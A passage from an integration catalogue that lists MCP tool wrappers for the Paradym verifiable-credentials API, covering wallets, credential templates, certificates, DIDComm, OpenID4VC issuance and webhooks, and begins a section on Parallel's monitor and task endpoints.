given property. You can filter by multiple properties by providing multiple `filter[<property>]` query parameters. At the moment it's only possible to filter the properties in the root of the object. Also, some properties are not filterable because of performance reasons. - `search[<property>]` - Search the results by the given sub-value of a property case-insensitive. You can search by multiple properties by providing multiple `search[<property>]` query parameters. - `sort` - Sort the results by the given property. If you want to sort in descending order you can prefix the property with a `-`. - `include` - Include a relation model in the response. The following parameters are supported for this endpoint: - filter: `id`, `type`, `revocable`, `archived` - search: `name` - sort: `id`, `createdAt`, `updatedAt` (default: `sort=-id`) - include: - `trustedWallets` - load the Trusted Entities that are allowed to receive this credential. ## Pagination We also implemented the [Cursor Pagination Profile](https://jsonapi.org/profiles/ethanresnick/cursor-pagination/) for pagination. This means that you can use the `page[size]`, `page[before]` and `page[after]` query parameters to retrieve the next or previous page of results. The `page[size]` parameter is used to set the number of items per page. The `page[before]` and `page[after]` parameters are used to set the cursor. The cursor is the ID of the last item on the previous page, or the first item on the next page. via GET /v1/wallets/{walletId}/templates/credentials/sd-jwt-vc GET /api/v1/paradym/v1/wallets/{walletId}/templates/credentials/sd-jwt-vc. Scopes: api. paradym_get_v1_wallets_by_walletid_templates_credentials_sd_jwt_vc_by_credentialtemplateid (read) — Retrieve a specific `sd-jwt-vc` credential template by its id. This endpoint supports the following query parameters: - `include` - Include a relation model in the response. The following parameters are supported for this endpoint: - include: - `trustedWallets` - load the Trusted Entities that are allowed to receive this credential. via GET /v1/wallets/{walletId}/templates/credentials/sd-jwt-vc/{credentialTemplateId} GET /api/v1/paradym/v1/wallets/{walletId}/templates/credentials/sd-jwt-vc/{credentialTemplateId}. Scopes: api. paradym_get_v1_wallets_by_walletid_templates_credentials_sd_jwt_vc_by_credentialtemplateid_json_schema (read) — Get the JSON schema for an `sd-jwt-vc` credential template. You could use this for to generate forms or validate the input. via GET /v1/wallets/{walletId}/templates/credentials/sd-jwt-vc/{credentialTemplateId}/json-schema GET /api/v1/paradym/v1/wallets/{walletId}/templates/credentials/sd-jwt-vc/{credentialTemplateId}/json-schema. Scopes: api. paradym_get_v1_wallets_by_walletid_templates_credentials_sd_jwt_vc_by_credentialtemplateid_type_metadata (read) — Get the SD-JWT VC type metadata for an `sd-jwt-vc` credential template. The `typeMetadata` object is the document described by the [SD-JWT VC Type Metadata documentation](https://docs.paradym.id/api-and-dashboard/credential-metadata#sd-jwt-vc-type-metadata). The `typeMetadataLocation` field indicates who hosts the document: - `managed` — the template uses a Paradym-generated VCT (`type`) URI, and Paradym automatically (re)hosts the document at that URI whenever the template is updated. - `manual` — the template uses a custom VCT URI. Paradym does **not** host the document and it is **not** automatically updated; you must publish the returned `typeMetadata` document at the VCT URI yourself (and re-publish after each update). via GET /v1/wallets/{walletId}/templates/credentials/sd-jwt-vc/{credentialTemplateId}/type-metadata GET /api/v1/paradym/v1/wallets/{walletId}/templates/credentials/sd-jwt-vc/{credentialTemplateId}/type-metadata. Scopes: api. paradym_get_v1_wallets_by_walletid_templates_presentations (read) — Retrieve all presentation templates associated with the provided `walletId`. ## Example An example query that searches for all presentation templates where the name includes "My Template", ordering them by the date they were created descending, limiting the page size to 10 ``` /v1/wallets/{walletId}/templates/presentations?search[name]=My Template&sort[-createdAt]&page[size]=10 ``` ## Query parameters We are using the [JSON:API 1.1](https://jsonapi.org/) specification for requesting a list of entities. From this specification we support the following query parameters: - `filter[<property>]` - Filter the results by the given property. You can filter by multiple properties by providing multiple `filter[<property>]` query parameters. At the moment it's only possible to filter the properties in the root of the object. Also, some properties are not filterable because of performance reasons. - `search[<property>]` - Search the results by the given sub-value of a property case-insensitive. You can search by multiple properties by providing multiple `search[<property>]` query parameters. - `sort` - Sort the results by the given property. If you want to sort in descending order you can prefix the property with a `-`. - `include` - Include a relation model in the response. The following parameters are supported for this endpoint: - filter: `id` - search: `name` - sort: `id`, `createdAt`, `updatedAt` (default: `sort=-id`) - include: - `credentials.trustedIssuers` - load the TrustedEntitites associated with a requested credential. ## Pagination We also implemented the [Cursor Pagination Profile](https://jsonapi.org/profiles/ethanresnick/cursor-pagination/) for pagination. This means that you can use the `page[size]`, `page[before]` and `page[after]` query parameters to retrieve the next or previous page of results. The `page[size]` parameter is used to set the number of items per page. The `page[before]` and `page[after]` parameters are used to set the cursor. The cursor is the ID of the last item on the previous page, or the first item on the next page. via GET /v1/wallets/{walletId}/templates/presentations GET /api/v1/paradym/v1/wallets/{walletId}/templates/presentations. Scopes: api. paradym_get_v1_wallets_by_walletid_templates_presentations_by_presentationtemplateid (read) — Retrieve a specific presentation template by its id. This endpoint supports the following query parameters: - `include` - Include a relation model in the response. The following parameters are supported for this endpoint: - include: - `credentials.trustedIssuers` - load the TrustedEntitites associated with a requested credential. via GET /v1/wallets/{walletId}/templates/presentations/{presentationTemplateId} GET /api/v1/paradym/v1/wallets/{walletId}/templates/presentations/{presentationTemplateId}. Scopes: api. paradym_get_v1_wallets_by_walletid_trusted_entities (read) — Retrieve all trusted entities associated with the provided `walletId`. ## Example An example query that searches for all trusted entities where name includes 'EUDI' and order them by the date they were created descending, limiting the page size to 10 ``` /v1/wallets/{walletId}/trusted-entities?search[name]=EUDI&sort=-createdAt&page[size]=10 ``` ## Query parameters We are using the [JSON:API 1.1](https://jsonapi.org/) specification for requesting a list of entities. From this specification we support the following query parameters: - `filter[<property>]` - Filter the results by the given property. You can filter by multiple properties by providing multiple `filter[<property>]` query parameters. At the moment it's only possible to filter the properties in the root of the object. Also, some properties are not filterable because of performance reasons. - `search[<property>]` - Search the results by the given sub-value of a property case-insensitive. You can search by multiple properties by providing multiple `search[<property>]` query parameters. - `sort` - Sort the results by the given property. If you want to sort in descending order you can prefix the property with a `-`. The following parameters are supported for this endpoint: - filter: `name`, `id` - search: `name` - sort: `id`, `createdAt`, `updatedAt` (default: `sort=-id`) ## Pagination We also implemented the [Cursor Pagination Profile](https://jsonapi.org/profiles/ethanresnick/cursor-pagination/) for pagination. This means that you can use the `page[size]`, `page[before]` and `page[after]` query parameters to retrieve the next or previous page of results. The `page[size]` parameter is used to set the number of items per page. The `page[before]` and `page[after]` parameters are used to set the cursor. The cursor is the ID of the last item on the previous page, or the first item on the next page. via GET /v1/wallets/{walletId}/trusted-entities GET /api/v1/paradym/v1/wallets/{walletId}/trusted-entities. Scopes: api. paradym_get_v1_wallets_by_walletid_trusted_entities_by_trustedentityid (read) — Retrieve a specific trusted entity by its id. via GET /v1/wallets/{walletId}/trusted-entities/{trustedEntityId} GET /api/v1/paradym/v1/wallets/{walletId}/trusted-entities/{trustedEntityId}. Scopes: api. paradym_get_v1_wallets_by_walletid_webhooks (read) — Retrieve all webhooks associated associated with the provided `walletId`. ## Example An example query that searches for all webhooks where the name includes "Example" and order them by the date they were created descending, limiting the page size to 10 ``` /v1/wallets/{walletId}/webhooks?search[name]=Example&sort=-createdAt&page[size]=10 ``` ## Query parameters We are using the [JSON:API 1.1](https://jsonapi.org/) specification for requesting a list of entities. From this specification we support the following query parameters: - `filter[<property>]` - Filter the results by the given property. You can filter by multiple properties by providing multiple `filter[<property>]` query parameters. At the moment it's only possible to filter the properties in the root of the object. Also, some properties are not filterable because of performance reasons. - `search[<property>]` - Search the results by the given sub-value of a property case-insensitive. You can search by multiple properties by providing multiple `search[<property>]` query parameters. - `sort` - Sort the results by the given property. If you want to sort in descending order you can prefix the property with a `-`. The following parameters are supported for this endpoint: - filter: `id` - search: `name`, 'url' - sort: `id`, `createdAt`, `updatedAt` (default: `sort=-id`) ## Pagination We also implemented the [Cursor Pagination Profile](https://jsonapi.org/profiles/ethanresnick/cursor-pagination/) for pagination. This means that you can use the `page[size]`, `page[before]` and `page[after]` query parameters to retrieve the next or previous page of results. The `page[size]` parameter is used to set the number of items per page. The `page[before]` and `page[after]` parameters are used to set the cursor. The cursor is the ID of the last item on the previous page, or the first item on the next page. via GET /v1/wallets/{walletId}/webhooks GET /api/v1/paradym/v1/wallets/{walletId}/webhooks. Scopes: api. paradym_patch_v1_wallets_by_walletid (write) — Updates a wallet by only replacing the provided settings. via PATCH /v1/wallets/{walletId} PATCH /api/v1/paradym/v1/wallets/{walletId}. Scopes: api. paradym_post_v1_wallets (write) — Creates a new wallet under the user which is associated with the API key being used for the request. The user will be the owner of the wallet. Creating multiple wallets is not available in the Free tier. Note that the wallet cannot be deleted yet so be careful with creating wallets. via POST /v1/wallets POST /api/v1/paradym/v1/wallets. Scopes: api. paradym_post_v1_wallets_by_walletid (write) — Deprecated in the provider's API -- Use the PUT endpoint instead. via POST /v1/wallets/{walletId} POST /api/v1/paradym/v1/wallets/{walletId}. Scopes: api. paradym_post_v1_wallets_by_walletid_attribute_providers (write) — Create a new attribute provider. via POST /v1/wallets/{walletId}/attribute-providers POST /api/v1/paradym/v1/wallets/{walletId}/attribute-providers. Scopes: api. paradym_post_v1_wallets_by_walletid_authorization_servers (write) — Create a new authorization server. via POST /v1/wallets/{walletId}/authorization-servers POST /api/v1/paradym/v1/wallets/{walletId}/authorization-servers. Scopes: api. paradym_post_v1_wallets_by_walletid_certificates (write) — Create a new certificate of a specific type. The following certificate types can be created: - `verifierRoot` - `issuerRoot` You can also import an externally signed `issuerSignCredential` or `verifierSignRequest` certificate using the Certificate Signing Request API. When creating a root certificate you must provide: - `keyType` - the type of the key used for signing the certificate. Supported are P-256 and Ed25519 - `countryName` - uppercase alpha-2 country code as defined in ISO 3166-1 - `commonName` - name of the certificate issuer/subject, if not provided the url of the of the issuer/verifier will be used (depending on the type of the certificate) Note that the following certificates are automatically created by Paradym based on the created root certificate: - `verifierSignRequest` - `issuerSignCredential` Also note that you can have at most one `active` and one `pendingActivation` certificate that is manually created (either through this endpoint or the Certificate Signing Request API) for each certificate category (issuer/verifier) and `keyType`, allowing for rotation. via POST /v1/wallets/{walletId}/certificates POST /api/v1/paradym/v1/wallets/{walletId}/certificates. Scopes: api. paradym_post_v1_wallets_by_walletid_certificates_by_certificateid_activate (write) — Activates a certificate. The following certificate types can be activated: - `verifierRoot` - `issuerRoot` - externally signed `issuerSignCredential` - externally signed `verifierSignRequest` Note that certificates can only be activated if they are in the `pendingActivation` state. When activating a certificate, any existing certificates within the same category (issuer/verifier) and keyType will be deactivated. via POST /v1/wallets/{walletId}/certificates/{certificateId}/activate POST /api/v1/paradym/v1/wallets/{walletId}/certificates/{certificateId}/activate. Scopes: api. paradym_post_v1_wallets_by_walletid_certificates_by_certificateid_deactivate (write) — Deactivates a certificate. The following certificate types can be deactivated: - `verifierRoot` - `issuerRoot` - `issuerSignCredential` - `verifierSignRequest` Deactivating a certificate will not invalidate any signatures created with this certificate. If you want to invalidate all signatures created with this certificate, revoke the certificate instead. Note that certificates can only be deactivated if they are in the `active` or `pendingActivation` state. When deactivating a certificate and there's a `pendingActivation` certificate within the same category (issuer/verifier) and keyType, it will be activated. When revoking a root certificate, all children certificates that are not already inactive, revoked or expired will be deactivated as well. via POST /v1/wallets/{walletId}/certificates/{certificateId}/deactivate POST /api/v1/paradym/v1/wallets/{walletId}/certificates/{certificateId}/deactivate. Scopes: api. paradym_post_v1_wallets_by_walletid_certificates_by_certificateid_revoke (write) — Revokes a certificate. The following certificate types can be revoked: - `verifierRoot` - `verifierSignRequest` - only if not externally signed - `issuerRoot` - `issuerSignCredential` - only if not externally signed Revoking a certificate will invalidate any signatures created with this certificate. If you want to ensure all previous signatures created with this certificate remain valid, deactivate the certificate instead. Since revocation is managed by the certificate issuer, it is not possible to revoke certificates imported through a certificate signing request. Instead, reach out to the certificate issuer. Note that certificates can only be revoked if they are in `pendingActivation`, `active`, or `inactive` state. When revoking a root certificate, all children certificates that are not already revoked or expired will be revoked as well. via POST /v1/wallets/{walletId}/certificates/{certificateId}/revoke POST /api/v1/paradym/v1/wallets/{walletId}/certificates/{certificateId}/revoke. Scopes: api. paradym_post_v1_wallets_by_walletid_certificates_csrs (write) — Create a new certificate signing request based on the [PKCS #10](https://datatracker.ietf.org/doc/html/rfc2986) specification. Creating externally signed certificates is not available in the Free tier. The returned certificate signing request is encoded as PEM. When creating a certificate signing request you must provide: - `type` - the type of the certificate signing request - `keyType` - the type of the key to include in the certificate signing request. Supported are P-256 and Ed25519 - `countryName` - uppercase alpha-2 country code as defined in ISO 3166-1 - `commonName` - name of the certificate subject, if not provided the url of the issuer/verifier will be used (depending on the type of the certificate) Optionally you can provide specific `capabilities` that must be supported for this certificate. via POST /v1/wallets/{walletId}/certificates/csrs POST /api/v1/paradym/v1/wallets/{walletId}/certificates/csrs. Scopes: api. paradym_post_v1_wallets_by_walletid_certificates_csrs_by_certificatesigningrequestid_import (write) — Import a certificate for a certificate signing request. Once a certificate signing request has been created, you can use this endpoint to import the signed certificate. The certificate will be validated against the certificate signing request to ensure it matches the requested certificate. Creating externally signed certificates is not available in the Free tier. The certificate must: - Be valid and properly formatted - Have a public key that matches the CSR's public key - Have the same subject as the CSR - Have the expected subject alternative names - Have the required key usage and extended key usage extensions - Have a validity period that does not exceed the maximum allowed validity period (457 days) via POST /v1/wallets/{walletId}/certificates/csrs/{certificateSigningRequestId}/import POST /api/v1/paradym/v1/wallets/{walletId}/certificates/csrs/{certificateSigningRequestId}/import. Scopes: api. paradym_post_v1_wallets_by_walletid_didcomm_connections_by_didcommconnectionid (write) — Update a specific DIDComm connection by its id. You can only update the `displayName`. via POST /v1/wallets/{walletId}/didcomm/connections/{didcommConnectionId} POST /api/v1/paradym/v1/wallets/{walletId}/didcomm/connections/{didcommConnectionId}. Scopes: api. paradym_post_v1_wallets_by_walletid_didcomm_invitations_create_connection (write) — Create a DIDComm connection invitation. The invitation will be a `https://didcomm.org/out-of-band` invitation, leveraging `https://didcomm.org/didexchange/1.x` (where `x` may be any version) as the value for `handshake_protocols`. The invitation will automatically expire 30 days after it was created. via POST /v1/wallets/{walletId}/didcomm/invitations/create-connection POST /api/v1/paradym/v1/wallets/{walletId}/didcomm/invitations/create-connection. Scopes: api. paradym_post_v1_wallets_by_walletid_didcomm_invitations_receive (write) — Receive a DIDComm invitation. Only `https://didcomm.org/out-of-band` invitations using `handshake_protocols` including `https://didcomm.org/didexchange/1.x` (where `x` may be any version) are supported. Invitations including attached messages, using no `handshake_protocols`, or using a handshake protocol different than DID Exchange will result in an error. via POST /v1/wallets/{walletId}/didcomm/invitations/receive POST /api/v1/paradym/v1/wallets/{walletId}/didcomm/invitations/receive. Scopes: api. paradym_post_v1_wallets_by_walletid_didcomm_issuance_offer (write) — Create or send a DIDComm issuance offer for the provided credential. Only credential templates for the `anoncreds` format are currently supported for usage with DIDComm offers. If a `didcommConnectionId` is provided the offer will be sent directly to the connection, if no `didcommConnectionId` is provided, an invitation will be created containing the message. You can optionally provide `createConnection` to also create a connection as part of the credential issuance so you can use it for future exchanges with the holder. If an invitation will be created, it will be returned as part of this method. If you need the invitation in the future, you can fetch it based on the `didcommInvitationId` available in the DIDComm issuance session. The offer and invitation will automatically expire 30 days after it was created. See the API execution part of the [Issue Credential](https://docs.paradym.id/api-and-dashboard/issue-credentials) guide for more information. via POST /v1/wallets/{walletId}/didcomm/issuance/offer POST /api/v1/paradym/v1/wallets/{walletId}/didcomm/issuance/offer. Scopes: api. paradym_post_v1_wallets_by_walletid_didcomm_mediators_by_didcommmediatorid_connections (write) — Allow a mediator connection to be created based on a specific public key. When the wallet tries to connect with the mediator it will be matched with the public key. After it's matched and the connection is created, the status of the mediator connection will become active. via POST /v1/wallets/{walletId}/didcomm/mediators/{didcommMediatorId}/connections POST /api/v1/paradym/v1/wallets/{walletId}/didcomm/mediators/{didcommMediatorId}/connections. Scopes: api. paradym_post_v1_wallets_by_walletid_didcomm_messaging_basic_send (write) — Send a basic message to an existing connection via POST /v1/wallets/{walletId}/didcomm/messaging/basic/send POST /api/v1/paradym/v1/wallets/{walletId}/didcomm/messaging/basic/send. Scopes: api. paradym_post_v1_wallets_by_walletid_didcomm_messaging_custom_send (write) — Send a custom message to an existing connection. The following protocols are not allowed as `@type`, as they are natively supported by Paradym: - `https://didcomm.org/connections` - `https://didcomm.org/didexchange` - `https://didcomm.org/issue-credential` - `https://didcomm.org/present-proof` - `https://didcomm.org/basicmessage` - `https://didcomm.org/out-of-band` In addition the `did:sov:BzCbsNYhMrjHiqZDTUASHg;spec` is not allowed to be used as the message prefix in the `@type` of a custom message. via POST /v1/wallets/{walletId}/didcomm/messaging/custom/send POST /api/v1/paradym/v1/wallets/{walletId}/didcomm/messaging/custom/send. Scopes: api. paradym_post_v1_wallets_by_walletid_didcomm_verification_request (write) — Create an DIDComm verification request for the selected presentation template. The request and invitation will automatically expire 30 days after it was created. via POST /v1/wallets/{walletId}/didcomm/verification/request POST /api/v1/paradym/v1/wallets/{walletId}/didcomm/verification/request. Scopes: api. paradym_post_v1_wallets_by_walletid_issuance_sd_jwt_vc (write) — Directly issue an `sd-jwt-vc` based on a [SD-JWT VC Credential Template](#tags/sd-jwt-vc-credential-templates). Binding a directly issued credential to a holder DID is not supported yet when directly issuing, you can use [OpenID4VC Issuance](#tags/openid4vc-issuance) to bind an issued `sd-jwt-vc` to a holder DID. Note that credential branding you have configured on the template is only sent to the holder when using OpenID4VC for issuance and thus won't be available to the holder of the credential. via POST /v1/wallets/{walletId}/issuance/sd-jwt-vc POST /api/v1/paradym/v1/wallets/{walletId}/issuance/sd-jwt-vc. Scopes: api. paradym_post_v1_wallets_by_walletid_members_add (write) — Add a member to the provided wallet by email. Beware that the user will not be added until they have accepted the invitation. If an invitation is already active, you cannot add them again until the invitation has expired. An invitation is valid for 7 days, after which the user needs to be invited again to be able to join the wallet. **Note:** Only the owner of the wallet is able to add members to the wallet. via POST /v1/wallets/{walletId}/members/add POST /api/v1/paradym/v1/wallets/{walletId}/members/add. Scopes: api. paradym_post_v1_wallets_by_walletid_members_remove (write) — Remove a member from the provided wallet by email. If the user is not part of the wallet yet, but an invitation has already been sent, the invitation will be revoked, and the user won't be able to accept the invitation anymore. **Note:** Only the owner of the wallet is able to remove members from the wallet. via POST /v1/wallets/{walletId}/members/remove POST /api/v1/paradym/v1/wallets/{walletId}/members/remove. Scopes: api. paradym_post_v1_wallets_by_walletid_openid4vc_issuance_offer (write) — Create a OpenID4VC issuance offer for the selected credentials See the API execution part of the [Issue Credential](https://docs.paradym.id/api-and-dashboard/issue-credentials) guide for more information. The issuance session will automatically expire 7 minutes after it was created. The offer URL will expire 5 minutes after it was created, after which the offer URL cannot be accessed anymore, and an authorization request will not be accepted anymore. The extra 2 minutes are for retrieving the credentials, which can be done after the offer URL has expired. via POST /v1/wallets/{walletId}/openid4vc/issuance/offer POST /api/v1/paradym/v1/wallets/{walletId}/openid4vc/issuance/offer. Scopes: api. paradym_post_v1_wallets_by_walletid_openid4vc_verification_request (write) — Create an OpenID4VC verification request for the selected presentation template. See the API execution part of the [Verify Credentials](https://docs.paradym.id/api-and-dashboard/verify-credentials) guide for more information. The verification session will automatically expire 5 minutes after it was created, after which the URL is not accessible anymore and a presentation will not be accepted anymore. via POST /v1/wallets/{walletId}/openid4vc/verification/request POST /api/v1/paradym/v1/wallets/{walletId}/openid4vc/verification/request. Scopes: api. paradym_post_v1_wallets_by_walletid_revocation_batch (write) — Revoke a batch of credentials based on the issued credential id. Only credentials issued based on a template where `revocable` is `true` can be revoked. Credentials that have already been revoked cannot be revoked again. The issued credential id is the `id` field in the `IssuedCredential` model, which is returned in the [Issuance](#tag/direct-issuance), [OpenID4VC Issuance](#tag/openid4vc-issuance), and [DIDComm Issuance](#tag/didcomm-issuance) API endpoints. You can revoke credentials from different templates and formats at the same time, with a limit of 100 credentials. For each credential, one transaction is used. When revoking AnonCreds credentials, it will be processed in a background job. This means that it may take up to 2 minutes before the credentials are revoked. via POST /v1/wallets/{walletId}/revocation/batch POST /api/v1/paradym/v1/wallets/{walletId}/revocation/batch. Scopes: api. paradym_post_v1_wallets_by_walletid_templates_credentials_anoncreds (write) — Create a new `anoncreds` credential template If you provide an existing schema, the API will count a call to this endpoint as a single transaction. But if you don't provide an existing schema, the system will create both a schema and a credential definition, which counts as two transactions. Note: You can only have one `anoncreds` credential template per schema. via POST /v1/wallets/{walletId}/templates/credentials/anoncreds POST /api/v1/paradym/v1/wallets/{walletId}/templates/credentials/anoncreds. Scopes: api. paradym_post_v1_wallets_by_walletid_templates_credentials_anoncreds_by_credentialtemplateid_unarchive (write) — Unarchive an `anoncreds` credential template by its id. via POST /v1/wallets/{walletId}/templates/credentials/anoncreds/{credentialTemplateId}/unarchive POST /api/v1/paradym/v1/wallets/{walletId}/templates/credentials/anoncreds/{credentialTemplateId}/unarchive. Scopes: api. paradym_post_v1_wallets_by_walletid_templates_credentials_mdoc (write) — Create a new `mdoc` credential template. The `validUntil` field must be set as a duration from the moment the credential is issued, and it must not exceed 365 days. ## Premium features - `localization` (template and attributes): Available on the Builder tier and up. - `trustedWallets`: Available on the Builder tier and up. - `authorization`: Available on the Pro tier and up. - `attributeProviderId`: Available on the Pro tier and up. via POST /v1/wallets/{walletId}/templates/credentials/mdoc POST /api/v1/paradym/v1/wallets/{walletId}/templates/credentials/mdoc. Scopes: api. paradym_post_v1_wallets_by_walletid_templates_credentials_mdoc_by_credentialtemplateid_unarchive (write) — Unarchive a specific `mdoc` credential template by its id. via POST /v1/wallets/{walletId}/templates/credentials/mdoc/{credentialTemplateId}/unarchive POST /api/v1/paradym/v1/wallets/{walletId}/templates/credentials/mdoc/{credentialTemplateId}/unarchive. Scopes: api. paradym_post_v1_wallets_by_walletid_templates_credentials_sd_jwt_vc (write) — Create a new `sd-jwt-vc` credential template. When issuing with a certificate, some limitations apply: - The `validFrom` field is not allowed to be set. The credential will always be valid from the moment it is issued. - The `validUntil` field must be set as a duration from the moment the credential is issued, and it must not exceed 365 days. ## Premium features - `localization` (template and attributes): Available on the Builder tier and up. - `trustedWallets`: Available on the Builder tier and up. - `authorization`: Available on the Pro tier and up. - `attributeProviderId`: Available on the Pro tier and up. via POST /v1/wallets/{walletId}/templates/credentials/sd-jwt-vc POST /api/v1/paradym/v1/wallets/{walletId}/templates/credentials/sd-jwt-vc. Scopes: api. paradym_post_v1_wallets_by_walletid_templates_credentials_sd_jwt_vc_by_credentialtemplateid_unarchive (write) — Unarchive a specific `sd-jwt-vc` credential template by its id. via POST /v1/wallets/{walletId}/templates/credentials/sd-jwt-vc/{credentialTemplateId}/unarchive POST /api/v1/paradym/v1/wallets/{walletId}/templates/credentials/sd-jwt-vc/{credentialTemplateId}/unarchive. Scopes: api. paradym_post_v1_wallets_by_walletid_templates_presentations (write) — Create a new presentation template. A presentation template can either request: - AnonCreds credentials, to be used with [DIDComm Verification](/reference#tag/didcomm-verification). - Mdoc and SD JWT VC credentials, to be used with [OpenID4VC Verification](/reference#tag/openid4vc-verification) via POST /v1/wallets/{walletId}/templates/presentations POST /api/v1/paradym/v1/wallets/{walletId}/templates/presentations. Scopes: api. paradym_post_v1_wallets_by_walletid_trusted_entities (write) — Create a trusted entity. At least one DID or certificate MUST be provided. For both `dids` and `certificates`, at most 20 entries can be provided. via POST /v1/wallets/{walletId}/trusted-entities POST /api/v1/paradym/v1/wallets/{walletId}/trusted-entities. Scopes: api. paradym_post_v1_wallets_by_walletid_webhooks (write) — Create a new webhook for the given wallet. The webhook will be used to send notifications to the given URL. The URL must be reachable from the internet. We will send a request to the given URL to verify that it's reachable. When it's created you will get a signatureSecret. This secret is used to sign the request body. You can use this secret to verify that the request is coming from us. For more information take a look at the [webhook documentation](https://docs.paradym.id/api-and-dashboard/using-webhooks). via POST /v1/wallets/{walletId}/webhooks POST /api/v1/paradym/v1/wallets/{walletId}/webhooks. Scopes: api. paradym_put_v1_wallets_by_walletid (write) — Updates a wallet by fully replacing the current settings. via PUT /v1/wallets/{walletId} PUT /api/v1/paradym/v1/wallets/{walletId}. Scopes: api. paradym_put_v1_wallets_by_walletid_attribute_providers_by_attributeproviderid (write) — Updates an attribute provider. via PUT /v1/wallets/{walletId}/attribute-providers/{attributeProviderId} PUT /api/v1/paradym/v1/wallets/{walletId}/attribute-providers/{attributeProviderId}. Scopes: api. paradym_put_v1_wallets_by_walletid_authorization_servers_by_authorizationserverid (write) — Updates an authorization server. via PUT /v1/wallets/{walletId}/authorization-servers/{authorizationServerId} PUT /api/v1/paradym/v1/wallets/{walletId}/authorization-servers/{authorizationServerId}. Scopes: api. paradym_put_v1_wallets_by_walletid_profiles_default (write) — Updates the default profile of the profile. Upgrading from the OpenID4VC version from 'legacy' to 'v1' is a one-way operation, and cannot be reverted. In order to comply with the standards defined for each version, the metadata of your OpenID4VC issuer, as well as any Token Status Lists associated with active X509 certificates, will be regenerated. Alternatively, you may consider creating a new wallet. In the future, all legacy wallets will be migrated to version 1. ## Premium features - `localization`: Available on the Builder tier and up. - `wallet`: Available on the Builder tier and up. via PUT /v1/wallets/{walletId}/profiles/default PUT /api/v1/paradym/v1/wallets/{walletId}/profiles/default. Scopes: api. paradym_put_v1_wallets_by_walletid_templates_credentials_mdoc_by_credentialtemplateid (write) — Update a specific `mdoc` credential template by its id. This will replace the entire template with the new one, except for the `type` and `issuer` fields (these can't be updated) ## Premium features - `localization` (template and attributes): Available on the Builder tier and up. - `trustedWallets`: Available on the Builder tier and up. - `authorization`: Available on the Pro tier and up. - `attributeProviderId`: Available on the Pro tier and up. via PUT /v1/wallets/{walletId}/templates/credentials/mdoc/{credentialTemplateId} PUT /api/v1/paradym/v1/wallets/{walletId}/templates/credentials/mdoc/{credentialTemplateId}. Scopes: api. paradym_put_v1_wallets_by_walletid_templates_credentials_sd_jwt_vc_by_credentialtemplateid (write) — Update a specific `sd-jwt-vc` credential template by its id. This will replace the entire template with the new one, except for the `type` and `issuer` fields (these can't be updated) ## Type Metadata Updating a template also updates the [SD-JWT VC Type Metadata](https://docs.paradym.id/api-and-dashboard/credential-metadata#sd-jwt-vc-type-metadata) document that wallets and verifiers may download on demand from the VCT (`type`) URI. For Paradym-hosted VCT URLs this document is automatically re-hosted on every update. For custom VCT URLs the document is **not** automatically updated — retrieve it from the type-metadata endpoint and re-publish it to your VCT URL yourself after updating. If you are making breaking changes such as removing required claims or narrowing selective-disclosure rules, previously issued credentials may no longer pass type-metadata validation. In that case, it is recommended to create a new credential template instead. ## Premium features - `localization` (template and attributes): Available on the Builder tier and up. - `trustedWallets`: Available on the Builder tier and up. - `authorization`: Available on the Pro tier and up. - `attributeProviderId`: Available on the Pro tier and up. via PUT /v1/wallets/{walletId}/templates/credentials/sd-jwt-vc/{credentialTemplateId} PUT /api/v1/paradym/v1/wallets/{walletId}/templates/credentials/sd-jwt-vc/{credentialTemplateId}. Scopes: api. paradym_put_v1_wallets_by_walletid_templates_presentations_by_presentationtemplateid (write) — Update a specific presentation template. This will replace the entire template with the new one. via PUT /v1/wallets/{walletId}/templates/presentations/{presentationTemplateId} PUT /api/v1/paradym/v1/wallets/{walletId}/templates/presentations/{presentationTemplateId}. Scopes: api. paradym_put_v1_wallets_by_walletid_trusted_entities_by_trustedentityid (write) — Update a trusted entity. The same rules as creating a trusted entity apply. This will replace the entire trusted entity (including DIDs and certificates) with a new one. via PUT /v1/wallets/{walletId}/trusted-entities/{trustedEntityId} PUT /api/v1/paradym/v1/wallets/{walletId}/trusted-entities/{trustedEntityId}. Scopes: api. ================================================================================ ## Parallel URL: https://www.agenticfabriq.com/integrations/parallel Section: Integrated Tools Parallel — 31 MCP tools Provider key: parallel. Scopes: api. Connect: BYO — your own OAuth app, coming soon; API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. parallel_get_v1_monitors (read) — List Monitors -- List monitors ordered by creation time, newest first. Monitors are sorted by `created_at` descending. `limit` defaults to 100. Use `next_cursor` from the response and pass it as `cursor` to fetch the next page. Pagination ends when `next_cursor` is absent. By default only `active` monitors are returned. Pass `status=cancelled` or both values to include cancelled monitors. The legacy Monitor API (`/v1alpha/monitors` endpoints) is documented under the `Monitor (Alpha)` tag. via GET /v1/monitors GET /api/v1/parallel/v1/monitors. Scopes: api. parallel_get_v1_monitors_by_monitor_id (read) — Retrieve Monitor -- Retrieve a monitor. Retrieves a specific monitor by `monitor_id`. Returns the monitor configuration including status, frequency, query, and webhook settings. via GET /v1/monitors/{monitor_id} GET /api/v1/parallel/v1/monitors/{monitor_id}. Scopes: api. parallel_get_v1_monitors_by_monitor_id_events (read) — List Monitor Events -- List events for a monitor, newest first. Pass `event_group_id` to narrow results to a single execution. Otherwise returns all executions newest-first; use `next_cursor` to paginate. Set `include_completions=true` to also include no-change executions. via GET /v1/monitors/{monitor_id}/events GET /api/v1/parallel/v1/monitors/{monitor_id}/events. Scopes: api. parallel_get_v1_tasks_groups_by_taskgroup_id (read) — Retrieve Task Group -- Retrieves aggregated status across runs in a TaskGroup. via GET /v1/tasks/groups/{taskgroup_id} GET /api/v1/parallel/v1/tasks/groups/{taskgroup_id}. Scopes: api. parallel_get_v1_tasks_groups_by_taskgroup_id_runs_by_run_id (read) — Retrieve Task Group Run -- Retrieves run status by run_id. This endpoint is equivalent to fetching run status directly using the `retrieve()` method or the `tasks/runs` GET endpoint. The run result is available from the `/result` endpoint. via GET /v1/tasks/groups/{taskgroup_id}/runs/{run_id} GET /api/v1/parallel/v1/tasks/groups/{taskgroup_id}/runs/{run_id}. Scopes: api. parallel_get_v1_tasks_runs_by_run_id (read) — Retrieve Task Run -- Retrieves run status by run_id. The run result is available from the `/result` endpoint. via GET /v1/tasks/runs/{run_id} GET /api/v1/parallel/v1/tasks/runs/{run_id}. 